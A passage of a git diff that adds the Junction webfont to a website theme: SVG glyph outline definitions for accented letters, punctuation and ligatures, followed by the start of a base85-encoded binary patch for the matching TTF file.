-199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43 q-152 -20 -198 -74.5t-46 -150.5z" /> +<glyph unicode="­" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> +<glyph unicode="²" horiz-adv-x="1126" d="M102 0v131l71 49q44 31 155.5 120t196.5 169t156 176t71 162q0 109 -56.5 161t-152.5 50q-53 0 -104.5 -19.5t-85.5 -46t-59.5 -54.5t-37.5 -46l-12 -18q-104 98 -105 100q43 78 155 162t251 86q180 0 280.5 -92.5t100.5 -270.5q0 -139 -165 -323.5t-376 -345.5h627 l2 -150h-912z" /> +<glyph unicode="³" horiz-adv-x="1142" d="M82 -313l108 106q10 -8 28 -20.5t80 -30.5t130 -16q92 0 184.5 43t164 147t71.5 250q0 98 -74 173t-174 75q-41 0 -86 -6.5t-80 -13.5t-62.5 -15t-43.5 -14l-17 -5v144q166 68 262.5 148.5t96.5 197.5q0 74 -52.5 120t-125.5 46q-53 0 -99.5 -14.5t-76 -36t-51 -43 t-32.5 -35.5l-8 -15l-96 95q4 8 13.5 22.5t41 52t69.5 65.5t102.5 51.5t133.5 23.5q145 0 247 -93.5t102 -238.5q0 -158 -183 -293q152 -18 257.5 -126.5t109.5 -264.5q0 -147 -57.5 -268t-148.5 -192t-191.5 -108.5t-196.5 -37.5q-88 0 -175 31.5t-130 64.5z" /> +<glyph unicode="¹" horiz-adv-x="731" d="M102 936l293 221h166v-1157h-166v983l-182 -154z" /> +<glyph unicode="º" horiz-adv-x="1224" d="M123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341 t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="À" horiz-adv-x="1474" d="M277 1901l43 145l460 -229l-43 -97zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> +<glyph unicode="Â" horiz-adv-x="1474" d="M150 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> +<glyph unicode="Ã" horiz-adv-x="1474" d="M184 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537 h-191zM506 692h461l-230 627z" /> +<glyph unicode="È" horiz-adv-x="1150" d="M580 1901l43 145l460 -229l-43 -97zM174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> +<glyph unicode="Ê" horiz-adv-x="1150" d="M453 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> +<glyph unicode="Ì" horiz-adv-x="528" d="M-196 1901l43 145l460 -229l-43 -97zM174 0v1577h180v-1577h-180z" /> +<glyph unicode="Î" horiz-adv-x="528" d="M-324 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 0v1577h180v-1577h-180z" /> +<glyph unicode="Ñ" horiz-adv-x="1482" d="M189 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM174 0v1577h180v-2l762 -1239l14 -29l-2 29v1241h181v-1577h-181 v2l-761 1243l-15 29l2 -29v-1245h-180z" /> +<glyph unicode="Ò" horiz-adv-x="1554" d="M320 1901l43 145l460 -229l-43 -97zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389z M303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> +<glyph unicode="Ô" horiz-adv-x="1554" d="M193 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5 t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> +<glyph unicode="Õ" horiz-adv-x="1554" d="M229 1895q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5 q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309 q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> +<glyph unicode="Ù" horiz-adv-x="1460" d="M269 1901l43 145l460 -229l-43 -97zM174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39t-125.5 -8.5q-66 0 -126 8.5t-143 39 t-142.5 83t-102.5 151.5t-43 232z" /> +<glyph unicode="Û" horiz-adv-x="1460" d="M143 1720l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39 t-125.5 -8.5q-66 0 -126 8.5t-143 39t-142.5 83t-102.5 151.5t-43 232z" /> +<glyph unicode="à" horiz-adv-x="1155" d="M236 1455l43 145l460 -229l-43 -97zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5 t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207 q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> +<glyph unicode="â" horiz-adv-x="1155" d="M109 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115 q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6 q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> +<glyph unicode="ã" horiz-adv-x="1155" d="M146 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47 v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199 q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43q-152 -20 -198 -74.5t-46 -150.5z" /> +<glyph unicode="è" horiz-adv-x="1187" d="M138 1455l43 145l460 -229l-43 -97zM113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5 q-227 0 -360 167t-133 409zM309 723h570q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> +<glyph unicode="ê" horiz-adv-x="1187" d="M10 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5 t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM309 723h570q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> +<glyph unicode="ì" horiz-adv-x="555" d="M-182 1881l43 145l460 -229l-43 -97zM174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> +<glyph unicode="î" horiz-adv-x="555" d="M-309 1700l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> +<glyph unicode="ñ" d="M84 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM174 0v1126h172v-237q270 262 492 262q260 0 260 -350v-801h-172 v801q0 178 -88 178q-227 0 -492 -268v-711h-172z" /> +<glyph unicode="ò" horiz-adv-x="1224" d="M152 1455l43 145l460 -229l-43 -97zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341 t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="ô" horiz-adv-x="1224" d="M25 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5z M295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="õ" horiz-adv-x="1224" d="M62 1448q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5 t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="ù" d="M166 1455l43 145l460 -229l-43 -97zM164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> +<glyph unicode="û" d="M37 1274l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147zM164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> +<glyph unicode="Œ" horiz-adv-x="2705" d="M1728 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895zM123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5 t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> +<glyph unicode="œ" horiz-adv-x="2412" d="M1338 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM1534 723h570 q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5zM123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182 t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> +<glyph unicode="ˆ" horiz-adv-x="1339" d="M82 0l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147z" /> +<glyph unicode="˜" horiz-adv-x="532" d="M-553 297q10 8 31.5 20t99.5 32.5t168 20.5q82 0 256 -63q176 -61 262 -62q72 0 130 11.5t81 23.5l23 13l53 -103q-106 -68 -287 -67q-94 0 -295 69q-154 55 -223 55q-78 0 -137.5 -12t-79.5 -24l-21 -13z" /> +<glyph unicode=" " horiz-adv-x="1423" /> +<glyph unicode=" " horiz-adv-x="2846" /> +<glyph unicode=" " horiz-adv-x="1423" /> +<glyph unicode=" " horiz-adv-x="2846" /> +<glyph unicode=" " horiz-adv-x="948" /> +<glyph unicode=" " horiz-adv-x="710" /> +<glyph unicode=" " horiz-adv-x="473" /> +<glyph unicode=" " horiz-adv-x="473" /> +<glyph unicode=" " horiz-adv-x="354" /> +<glyph unicode=" " horiz-adv-x="569" /> +<glyph unicode=" " horiz-adv-x="157" /> +<glyph unicode="‐" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> +<glyph unicode="‑" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> +<glyph unicode="‒" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> +<glyph unicode="–" horiz-adv-x="1312" d="M61 498v133h1129v-133h-1129z" /> +<glyph unicode="—" horiz-adv-x="1558" d="M82 498v133h1395v-133h-1395z" /> +<glyph unicode="‘" horiz-adv-x="729" d="M113 1432l43 145l460 -229l-43 -97z" /> +<glyph unicode="’" horiz-adv-x="423" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> +<glyph unicode="“" horiz-adv-x="774" d="M92 1245q2 147 152 332l86 -29q-102 -127 -123 -243q55 0 90 -33t35 -82t-33 -81t-82 -32q-61 0 -93 50t-32 118zM442 1245q2 147 152 332l86 -29q-102 -127 -123 -243q55 0 90 -33t35 -82t-33 -81t-82 -32q-61 0 -93 50t-32 118z" /> +<glyph unicode="”" horiz-adv-x="774" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5zM442 1464q0 49 33 81t82 32q59 0 92 -50t33 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> +<glyph unicode="…" horiz-adv-x="1234" d="M915 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM504 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM92 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82 t-80.5 -32.5t-82 32.5t-33 82z" /> +<glyph unicode=" " horiz-adv-x="569" /> +<glyph unicode="‹" horiz-adv-x="1433" d="M154 500v147l1136 514v-147l-975 -441l975 -440v-147z" /> +<glyph unicode="›" horiz-adv-x="1433" d="M143 -14v147l973 440l-973 441v147l1137 -514v-147z" /> +<glyph unicode=" " horiz-adv-x="710" /> +<glyph unicode="™" horiz-adv-x="2893" d="M1325 0v1577h180l514 -1352l2 -14l2 14l517 1352h180v-1577h-180v1106l2 31l-9 -31l-424 -1106h-174l-424 1106l-8 31l2 -31v-1106h-180zM20 1421v156h1110v-156h-468v-1421h-181v1421h-461z" /> +<glyph unicode="" horiz-adv-x="1125" d="M0 1125h1125v-1125h-1125v1125z" /> +<glyph unicode="fi" horiz-adv-x="1380" d="M999 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM1018 0v1126h169v-1126h-169zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332 v-983h-170v983h-146z" /> +<glyph unicode="fl" horiz-adv-x="1398" d="M999 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> +<glyph unicode="ffi" horiz-adv-x="2205" d="M1825 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM1844 0v1126h169v-1126h-169zM886 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332 v-983h-170v983h-146zM61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> +<glyph unicode="ffl" horiz-adv-x="2224" d="M1825 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254zM886 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z M61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> +</font> +</defs></svg> \ No newline at end of file diff --git a/assets/themes/the-minimum/font/Junction-webfont.ttf b/assets/themes/the-minimum/font/Junction-webfont.ttf new file mode 100755 index 0000000000000000000000000000000000000000..27aa517da95620a04fff001acf6f3282d482b072 GIT binary patch literal 23464 zcmd74dwf*Yxi`Mn-h1{;W+s!F$xJ2}l1ws5hBzccG9)2jAOr|8M#PAmKvRSW;U;ny zF{PAJN&z)0h)9tl<)s{6PP+GGR7$Olw|c0h)?>wTEJaIO#NwsYS`o7I`#x(=xU`<n zIltfU{o@VHzO1$Px;)Rbp7nj6^{mY}W6X_%!dPSD)LUjOZB!ZKPNWW*G+|;Rdy{hb zP}~P^y**mFy<Ytm?wfEw>#oJKmoD$W?GD@@WK6pMu6tJo(`?Q;D69zim7PoHElx{B ze}MZo<j<Wqd&N>FGb>|iAM%~^?q1XRjSrRvaQ_R&T72{8&Ytr{&Y9a7Yke2_)$@_y z{+=y^vD-6oUo?O5%KJWCIkFY^H=?|qcQ3hXcHoc&b>H!8v|;k%+4n8wKj&XC_AgX_ z@SfR==a!zBunqSUkpJ$|B`a2rfAcp#VQf0`rEyD_&s{q6wI8ox>?`x}d_8_d4fd*` zou>1#kw1SldEPE^T)3l_;APx%_P_8`#2r%P-}8r=g(;R@mKX}kH_!4LtWy%N3?9B= z)>1!szjV#=6{tISNl}@BMB8Zz@1tb=DV=I5PC;=e<BEPm%sjplcl6W{rf|@gwW1UY z^RlnAz3dSCH`dFJvOe|_`*-$p_6zn)_8;smc9Olr-eqUl`|JaDo_)kFu)nd3>=M6S z`kD0GpgrgdW(9MDCBbNLRPfG%!gtvvWnchh2a{#S*^f}>i&x5ggZ(;L=I^hR`4{%7 zD6>_R$%5`+W^jlovo={K9~c-oGw|ZTj|QF{=pE=8_}77h1N#TQKd^7$se$he>>2p( zz^;KE1CI?nGVt&~_rOB~4-9M__|Cwlfr|d0_8)q8)4Sh%cip>d-(B_Y;&<n~TYviN z!KW-wnKVI5|BwE08Vku1IkEA2R*Fnnv8YyCirwK%b)~sI-gKWoBaoSuoiijiFF#mN z7%D0*2@fs3Au_D2JUYChGB%>Bx@KhUsL?mpjTu`%u3<bz*`%hMns08oW%8|4Zfm`L z>K)VmrEU6*ue5)4=AE-<i`tjsc<*X<A5LrTXRPaMY%TlxI`$2={+lA-JnX&ZT3p^m zVtwWByB!M_t=RCb$96oi>+zjt>XUo+eP3KHT+G<rYze!EEoaNvs+DZxx39d%`j4BE zsCKi1>@eE~>3W1c#I~?~><RWgwh@x1v+uGWLpGje2iShLk}-`9(^&e=+6`0MwB~!K zYb-Q2Q&S^tb<;)K+UdbxYdpO?vrOZ|g8!*GBW0R2?B>?CiJ|EQWtu!}L1s{^pVC&K z)lV<elwtI0L8##Vwo^IBr|00gw*H(Cr{{zUG)tsSYrJ>5$e2DI<ynTMw$CWj)M0ud z{|;&oey6=XM`I|)I!rGTN%dEfY{R^sU~RNaOBohiOO?Eg@`IXOd{Zc>DJ9Jso6@#r z?v~j>x)_;LP%u4bi@0kw@2En%**bTQy8x9qh6VpabjLX?7}czi_O@VfQmAqE!eCo) zPKQ|pJ(o%~qw3(6;G`{$vqM{gTSB6`kj7fuw0b;={!z7B{am`iJ1$XE-HFVCf}G%q zEg%D4x(RK&BiS~z509k{3k6RkD-Q+RZoWOIK;zTfwxB~dg|>u(TW;DCnoTXC?$D9i z<0dwE!3Ga?fG)iM&;c|w)EJt*aMrawp;yy~p%Ys+5!ssOgtl0<;FPu-bNZ0u8`jI} zd3{3zzxjxp-NnR_9=-!D4{m8~3w5CNp@tlsc&GuCuWxOOL)(nMt0B&V949S!mzFhm zh-fKF^bgaJ3cBD>W{Ri;9V|gh$rznI0~h!skW(vjusJMl<t&nrp%j%!+@`Py*PKy} zpGa6#mZL<Hr(U~-+ad{v%JP(m=7=Wj;;J{#VRJ?F6!n~*$|Jhn;qms$s#Piq)H2;B zd%T*xc6degi0aA=pIRu#<WNsT$JntQWzXeoirqDK>|Nv3C%^arZE9Dlq(ji-PL{=5 zSX`D_M03Xy4$&+vvyyAs)F>^bGNG!>gEpvc-NhqXMr9&hB<MM4fXY#&qgGFM;hb5^ zhF5q;RL3ea{HirvT~k<e?M-__MP0qLV_Ii=4bN_<7~NoATQ+sn&zZ38N4e`(jk|IM zB1)J$nA(Ik=CFKzD~o4?ZgGD`RxB2a+tA*))#0RTi^L+mYKlFzC=g317FMG~dS!QB zeo>$@!FaYMHPS12hU8K%rXtGq1u}Dx%e7!sFF>EFvyYA$`pHk3KVsLi%QaiMmhINF ztQR$#Ten&-Ud_xX*PP{AhFkX|)9Kb7IAyzgrEF_D>J&$nj#`$xHzmu4iwt+KJ;Q+u zzq>cp@5EznarB6zkB;<AKs<xDGR0dcGiR`zA%o@Q(lfnzgHPsDx?G<rf&ZqacYChY z^5y@<pH`m@Hl^1Tq!-{9lf}<kAQ#{lN~a%XwT5_Wo3X!;-??z-BEEnQi$lgEZG270 z*m&>G)yCsEJjWNb8ISXG+xf!nyvJyz-*#iib|b*g(GTf_4pt4UQr=RJvLY5?l{|yR zL*S$qjOnuFoHnd79+K^m-uh5sN+g~}a_EierN{|X#?wkEC(WILK@y8<_7i%sdQK~L z>k7xSg+nVVD-)GsV8lI{LELGTZaoUQ%*6m1VRH7*^Iw`roK>{Sa+jv|>Dji6iZ-+l z0^O^qmFbbAe@?tK8BaKREp&@KuwiI6GCuh3OFbeZi*DmMl7a}S5cb+Q9>$41t7HzX zw5VCxgXHEY#=HZixn69?$l$el6i;jZS}oV3`7l;XF;<^p-0t(|MlpDaAsH4=xl%P^ zj8sz<^D6;sN!XJo`+bVlAF3)!_hke;F3!jBsu3mORckkJHo0?6W5v`>8yYuo<?(e3 z<BK<acd~K**akyuTfe$v2k%<1?b*h&?tLpP-I-O=IOV>URXy!x>e_W#Pc2y-=sz2( zUG(IF<9~Lp?g}d_r_B%Z3$CwSTJPMkZrPeB#-D|C4eYh<R5vg;jX)M<qu6^a9wF@& zv#@+<FAKPp$P(8HUupy+O&b|Y_(Xyh!uT336q`q74NxE+w>|`{$p;7X-FgO(kWQlv zyIT(;V>mK~yY*aL=HW8Wtykfhq2d|+Mw6LU>A$_vWaf}^Ew5Y~;@0z1F4D8PDHo+) zLN~+*LHYb4P>!kTSr*V&%OJArxx>MP%33YYqeo)3V1q9e35B&<mPhBT7Hsf>{;|qD z$?xK!!g3C>S60`IC<(cEI*+A*{54lHrJ7`BxKQnCT)DofdHuZ;q%(V(*57;k1AUvM z%^kD0G%NeHOYPEn>G$7jUcY*R^oKo7-&ozad-DsMq)oGCJ)mTL*wY><ovE!k^J=7> zhYxOh<iMfr(xYE2QqNq>mDrhMQl!22KFZWq9C-B60|y_I9s_S=@aBTL3%aq4)v)nE zzVT8TQ^hg85+f(4GVUPOj1!#T+JvaaPUz+8xn8xL*&_N#khk2ej{&7!7$_4>+P*RN z*DXX_mnOTl5q<h7%SFxG*XtSOg^rTly;brE3<BI<GYF7IgWzdM^N6ZZ<`Cf5-3eBV z8R_xrj?&s%&E?U;pnGL0=$>7xjq^OqR98k;elTo~f)Uj<<q&aVLWbX`T6y(YDIi%h zYAQkcfJ+XkVYQ&J9JJ5lvFaKQzW4%TBn*lWxbXbp`HNaMJlY!n{P+ueO@7YAnsxh1 zp2;l^#<G@##!QNoHGOczI6it`&+5aQx7VK8VNBVy^YNGFteLxg;o@C<*N$J!TA@vA z-_#u1tF4K57<Wf&wk(@$JU13|U{%ey$?YMV?d><CGkX?KT@#fa<F7XVK>Fp3<FV#t zwaeyof-jurRo)`z)e+{bny^_|iUR$Wdi{KwoK|U09h^n~arV4s!n|gZL^Y_VtN)y| z8ubJ)GUF;S+iGDEswY!0+X=pA@d#=95!GHnJ8tKGUxqg$U@e!VlCGRdixT&w&U$Ek ze*XA}W~DCcT`(y}vUPmQ!=D_ocZc3FP7SbSO9qTnrwSf+{@aH<bb;!vL%p?w^$H=g zU#-`2Lib#)cMQ)4C+)l>T$3kxiJOv(TkB>$G$Ai<!h^F@mn0T8WoI|de|o90rr;FE zq;StN7_gytLf!U5pBN`U?U-}HIQ8M-RH}E5RHHnIdR=UH60Pv4rpCCICb}y@Qvg2^ zR<dBu22I^UsI?NPV9v^q!5HA>$7rU1|IwG1nPSe|nyXLIxLcF@#Dl7p9<-|FgMm9< 